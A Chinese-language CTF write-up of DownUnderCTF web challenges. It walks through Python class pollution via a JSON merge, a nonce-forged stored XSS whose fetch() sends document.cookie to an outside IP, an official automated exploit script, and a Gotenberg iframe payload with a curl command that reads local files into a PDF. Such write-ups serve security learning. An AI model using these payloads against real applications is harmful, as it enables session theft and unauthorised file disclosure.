web

co2

A group of students who don't like to do things the "conventional" way decided to come up with a CyberSecurity Blog post. You've been hired to perform an in-depth whitebox test on their web application.

OP0BjK.png
正如描述所说是一个博客网站,看一下路由

@app.route('/')
def index():
    posts = BlogPost.query.filter_by(is_public=True).all()
    return render_template('index.html', posts=posts)

根目录正常index界面

@app.route('/register', methods=['GET', 'POST'])
def register():
    if current_user.is_authenticated:
        return redirect("/dashboard")
    if request.method == "POST":
        hashed_password = generate_password_hash(request.form.get("password"), method='pbkdf2:sha256')
        new_user = User(username=request.form.get("username"), password=hashed_password)
        db.session.add(new_user)
        db.session.commit()
        return redirect("/login")
    return render_template("register.html")

注册用户,密码使用pbkdf2:sha256哈希,注册成功重定向到登录界面

@app.route('/login', methods=['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect("/dashboard")
    user = User.query.filter_by(username=request.form.get("username")).first()
    if user and check_password_hash(user.password, request.form.get("password")):
        login_user(user)
        return redirect("/")
    return render_template("login.html")

登录界面,正常

@app.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect("/")

退出路由,也正常

@app.route("/profile")
@login_required
def profile():
    return render_template("profile.html")

profile正常

@app.route("/dashboard")
def dashboard():
    posts = BlogPost.query.filter_by(author=current_user.id).all()
    return render_template("dashboard.html", posts=posts)

dashboard正常

@app.route("/blog/<blog_id>")
def blog(blog_id):
    post = BlogPost.query.filter_by(id=int(blog_id)).first()
    if not post:
        flash("Blog post does not exist!")
        return redirect("/")
    return render_template("blog.html", post=post)

博客路由正常

@app.route("/edit/<blog_id>", methods=["GET", "POST"])
@login_required
def edit_blog_post(blog_id):
    blog = BlogPost.query.filter_by(id=blog_id).first()
    if request.method == "POST":
        blog.title = request.form.get("title")
        blog.content = request.form.get("content")
        blog.is_public = bool(int(request.form.get("public"))) if request.form.get("public") else False
        db.session.add(blog)
        db.session.commit()
        return redirect(f"/blog/{str(blog.id)}")
    if blog and current_user.id == blog.author:
        return render_template("edit_blog.html", blog=blog)
    else:
        return redirect("/403")

博客编辑,也正常

@app.route("/create_post", methods=["GET", "POST"])
@login_required
def create_post():
    if request.method == "POST":
        post = BlogPost(title=request.form.get("title"), content=request.form.get("content"), author=current_user.id)
        post.is_public = bool(int(request.form.get("public"))) if request.form.get("public") else False
        db.session.add(post)
        db.session.commit()
        return redirect("/dashboard")
    return render_template("create_post.html")

创建文章,正常

@app.route("/changelog", methods=["GET"])
def changelog():
    return render_template("changelog.html")
@app.route("/feedback")
@login_required
def feedback():
    return render_template("feedback.html")

都没问题

@app.route("/save_feedback", methods=["POST"])
@login_required
def save_feedback():
    data = json.loads(request.data)
    feedback = Feedback()
    # Because we want to dynamically grab the data and save it attributes we can merge it and it *should* create those attribs for the object.
    merge(data, feedback)
    save_feedback_to_disk(feedback)
    return jsonify({"success": "true"}), 200

这个可能有问题,因为进行json解析,并且存在merge,可能存在类污染
解析request获取到的json数据,然后将解析到的数据合并到feedback中

class Feedback:
    def __init__(self):
        self.title = ""
        self.content = ""
        self.rating = ""
        self.referred = ""

看一下获取flag的路由

flag = os.getenv("flag")
@app.route("/get_flag")
@login_required
def get_flag():
    if flag == "true":
        return "DUCTF{NOT_THE_REAL_FLAG}"
    else:
        return "Nope"

如果环境变量里面的flag,如果里面的flag值为true返回flag,那就很明显了,通过merge污染Feedback,进而污染环境变量
抓个包

POST /save_feedback HTTP/1.1
Host: 43.143.198.113:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://43.143.198.113:1337/feedback
Content-Type: application/json
Content-Length: 54
Origin: http://43.143.198.113:1337
Connection: close
Cookie: session=.eJwljjEOAyEMwP7C3IGQhMB95kRIonblelPVvxepkxfL8iedsfx6puO9bn-k82XpSDgBSxi30cQyN-EpLAQmm5Q5fIqKl4oNwkNnrWrZgbCwK3QaTpJ7C4ZoTjQqFe0aXHvNCNCUyxwso--K4RzZjEW2k2kiYdoj9-Xrf1PS9weRQS69.ZouQPw.XhaKk65CdTp1wlBv4oa-aeHPf6U
Priority: u=1

{"title":"1","content":"1","rating":"1","referred":""}

将post的数据改成

{
"__class__":{"__init__":{"__globals__":{"flag":"true"}}}
}

发送然后访问get_flag路由
OP0zeL.png

co2v2

Well the last time they made a big mistake with the flag endpoint, now we don't even have it anymore. It's time for a second pentest for some new functionality they have been working on.

OP0hIX.png
多出来个report
在v2版本中,get_flag路由被删掉了
看一下新添的内容

CORS(app)
SECRET_NONCE = generate_random_string()
RANDOM_COUNT = random.randint(32,64)
limiter = Limiter(
    app=app,
    key_func=get_remote_address,
    default_limits=["60 per minute"]
)
TEMPLATES_ESCAPE_ALL = True #转义所有输出
TEMPLATES_ESCAPE_NONE = False
def generate_nonce(data):
    nonce = SECRET_NONCE + data + generate_random_string(length=RANDOM_COUNT)
    sha256_hash = hashlib.sha256()
    sha256_hash.update(nonce.encode('utf-8'))
    hash_hex = sha256_hash.hexdigest()
    g.nonce = hash_hex
    return hash_hex
def set_nonce():
    generate_nonce(request.path)

生成一个随机字符串赋值给SECRET_NONCE,在生成一个随机整数RANDOM_COUNT,两个变量用来生成一个nonce,SECRET_NONCE+请求路径+RANDOM_COUNT长度的字符串然后经过哈希和转16进制得到nonce

def apply_csp(response):
    nonce = g.get('nonce') #从全局对象获取nonce字段的值
    csp_policy = (
        f"default-src 'self'; " #默认内容来源于自身
        f"script-src 'self' 'nonce-{nonce}' https://ajax.googleapis.com; " #脚本来源于自身
        f"style-src 'self' 'nonce-{nonce}' https://cdn.jsdelivr.net; "   #style来源于自身
        f"script-src-attr 'self' 'nonce-{nonce}'; "  #脚本属性来源于自身
        f"connect-src *; "  #允许所有连接
    )
    response.headers['Content-Security-Policy'] = csp_policy #将生成的CSP策略添加到响应头里面
    return response

该函数向http响应中添加了内容安全策略(Content Security Policy)头

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if not current_user.is_authenticated:
            flash('Not allowed.')
            return redirect(url_for('login'))

        return f(*args, **kwargs)
    return decorated_function

装饰器函数没看出来有什么用

def admin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if not current_user.is_authenticated or current_user.data['role'] != 'admin':
            flash('Not allowed.')
            return redirect(url_for('login'))

        return f(*args, **kwargs)
    return decorated_function

也是没什么用

@app.route("/changelog", methods=["GET"])
def changelog():
    template = template_env.env.get_template("changelog.html")
    return template.render(nonce=g.nonce)

获取修改日志

@app.route("/admin/update-accepted-templates", methods=["POST"])
@login_required
def update_template():
    data = json.loads(request.data)
    # Enforce strict policy to filter all expressions
    if "policy" in data and data["policy"] == "strict":
        template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_ALL)
    # elif "policy" in data and data["policy"] == "lax":
    #     template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_NONE)
    # TO DO: Add more configurations for allowing LateX, XML etc. to be configured in app
    return jsonify({"success": "true"}), 200
@app.route("/api/v1/report")
@limiter.limit("6 per minute")
def report():
    resp = requests.post(f'{os.getenv("XSSBOT_URL", "http://xssbot:8000")}/visit', json={'url':
        os.getenv("APP_URL", "http://co2v2:1337")
    }, headers={
        'X-SSRF-Protection': '1'
    })
    print(resp.text)
    return jsonify(status=resp.status_code)

多出admin用户的路由,如果policy为strict会执行设置成允许模板渲染并且会转义,为什么会禁止转义,大概是想防xss
再看report这个接口,会构造一个url请求把当前站点post到XSSBOT那里

app.config["SESSION_COOKIE_HTTPONLY"] = False

看了一下__init__.py发现SESSION_COOKIE_HTTPONLY被设置成立false,意思是可以通过document.cookie窃取cookie
通过源码发现flag在cookie里

[
  {
    "domain": "co2v2:1337",
    "name": "admin-cookie",
    "value": "DUCTF{testflag}",
    "httponly": false
  }
]

也就是说如果能构造xss就能获取flag,能xss需要正确的nonce的值并且需要绕过转义,还需要一个xss触发点
前两个条件可以通过上一个题的类污染来实现,触发点猜测通过XSSBOT进行XSS
1.第一步将RANDOM_COUNT污染成0,SECRET_NONCE污染成1,TEMPLATES_ESCAPE_ALL污染成FALSE

POST /save_feedback HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:1337/feedback
Content-Type: application/json
Content-Length: 55
Origin: http://127.0.0.1:1337
Connection: close
Cookie: session=.eJwlzsENwzAIAMBdePcBNsY4y0TGgNpv0ryq7t5IXeB0H9jziPMJ2_u44gH7y2GDzMquYa6DangPQ2O1jsXGotRExI45MnwMdplGnOlFFX2RiKNLmSuxpbeQsWZzYtGljT2rGlPQtJUSUWdpncmsB2PFGxoId-Q64_hvCnx_UAcwjQ.ZouxaA.uvZoLAVpP3t4GCeDzKoGzur0RiY
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=1

{

   "__class__": {
        "__init__":{
            "__globals__":{
                "RANDOM_COUNT": 0,
                "SECRET_NONCE": "t",
                "TEMPLATES_ESCAPE_ALL":false
            }
        }
    }
}
HTTP/1.1 200 OK
Server: Werkzeug/2.3.6 Python/3.10.9
Date: Mon, 08 Jul 2024 09:33:03 GMT
Content-Type: application/json
Content-Length: 19
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-a3a52d289db5308e253e6cea3aa1c6953e7ba613f522ea740413fa3fdb218403' https://ajax.googleapis.com; style-src 'self' 'nonce-a3a52d289db5308e253e6cea3aa1c6953e7ba613f522ea740413fa3fdb218403' https://cdn.jsdelivr.net; script-src-attr 'self' 'nonce-a3a52d289db5308e253e6cea3aa1c6953e7ba613f522ea740413fa3fdb218403'; connect-src *; 
Access-Control-Allow-Origin: http://127.0.0.1:1337
Vary: Origin, Cookie
Connection: close

{"success":"true"}

2.第二步将xss写在博客中
先生成一下nonce

import hashlib
SECRET_NONCE='t'

def generate_nonce(data):
    nonce = SECRET_NONCE + data 
    sha256_hash = hashlib.sha256()
    sha256_hash.update(nonce.encode('utf-8'))
    hash_hex = sha256_hash.hexdigest()
    return hash_hex
a=generate_nonce('/')
print(a)
#a2fe8952412bc49de813bb82db50d5aa497d6106b6b43c8a72cab443aa017e32
<script nonce="a2fe8952412bc49de813bb82db50d5aa497d6106b6b43c8a72cab443aa017e32">fetch("http://43.143.198.113/"+document.cookie)</script>
POST /create_post HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
Origin: http://127.0.0.1:1337
Connection: close
Referer: http://127.0.0.1:1337/create_post
Cookie: session=.eJwlzsENwzAIAMBdePcBNsY4y0TGgNpv0ryq7t5IXeB0H9jziPMJ2_u44gH7y2GDzMquYa6DangPQ2O1jsXGotRExI45MnwMdplGnOlFFX2RiKNLmSuxpbeQsWZzYtGljT2rGlPQtJUSUWdpncmsB2PFGxoId-Q64_hvCnx_UAcwjQ.ZouxaA.uvZoLAVpP3t4GCeDzKoGzur0RiY
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=1

title=<script nonce="a2fe8952412bc49de813bb82db50d5aa497d6106b6b43c8a72cab443aa017e32">fetch("http://43.143.198.113/"+document.cookie)</script>&content=1&public=1&save=Save+Post

3.设置templates

POST /admin/update-accepted-templates HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:1337/feedback
Content-Type: application/json
Content-Length: 77
Origin: http://127.0.0.1:1337
Connection: close
Cookie: session=.eJwlzsENwzAIAMBdePcBNsY4y0TGgNpv0ryq7t5IXeB0H9jziPMJ2_u44gH7y2GDzMquYa6DangPQ2O1jsXGotRExI45MnwMdplGnOlFFX2RiKNLmSuxpbeQsWZzYtGljT2rGlPQtJUSUWdpncmsB2PFGxoId-Q64_hvCnx_UAcwjQ.ZouxaA.uvZoLAVpP3t4GCeDzKoGzur0RiY
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=1

{ "title":"", "content":"", "rating":"", "referred":"", "policy" : "strict" }

4.report触发xss dns外带出cookie
OP07jj.png
官方wp


import httpx
import os

URL = 'http://127.0.0.1:1337/'
username = os.urandom(8).hex()
xss_payload = '<script nonce="a2fe8952412bc49de813bb82db50d5aa497d6106b6b43c8a72cab443aa017e32">fetch("dns.server/"+document.cookie)</script>'

client = httpx.Client()
r = client.post(f'{URL}/register', data={'username': username, 'password': 'a'})
print(r.status_code)
r = client.post(f'{URL}/login', data={'username': username, 'password': 'a'})
print(r.status_code)
r = client.post(f'{URL}/save_feedback', json={'content': 'a', 'rating': '1', 'referred': 'a', 'title': 'a', "__class__": { "__init__":{ "__globals__":{ "RANDOM_COUNT": 0, "SECRET_NONCE": "t", "TEMPLATES_ESCAPE_ALL": False } } } })
print(r.status_code)
r = client.post(f'{URL}/admin/update-accepted-templates', json={ "title":"", "content":"", "rating":"", "referred":"", "policy" : "strict" })
print(r.status_code)
r = client.post(f'{URL}/create_post', data={'title':xss_payload,'content':'x','public':'1','save':'Save+Post'})
print(r.status_code)
r = client.get(f'{URL}/api/v1/report')
print(r.status_code)
···

hah got em

Oh by the way I love using my new microservice parsing these arrest reports to PDF

附件就给了gotenberg版本8.0.3,该版本存在未授权访问,8.10版本更新了安全策略,但是对比两个版本,发现8.1.0多出一个测试用例,可以拿来攻击
https://github.com/gotenberg/gotenberg/compare/v8.0.3...v8.1.0#diff-be84e06649ad8faf29f22ad46330a6e9b83dbaf2d6c35b2a3656313d26a79d35R62

<div class="page-break-after">
    <h2>/etc/passwd</h2>
    <iframe src="/etc/passwd"></iframe>

    <h2>\\localhost/etc/passwd</h2>
    <iframe src="\\localhost/etc/passwd"></iframe>
</div>

简单修改生成一个index.html

<html>

<body>
    <iframe src="/proc/self/root/etc/flag.txt"></iframe>
    <iframe src="\\localhost/etc/flag.txt"></iframe>
</body>

</html>

然后上传即可

curl --request POST http://ip:port/forms/chromium/convert/html --form files=@index.html -o re.pdf

OPc5Cc.png

i am confusion

The evil hex bug has taken over our administrative interface of our application. It seems that the secret we used to protect our authentication was very easy to guess. We need to get it back!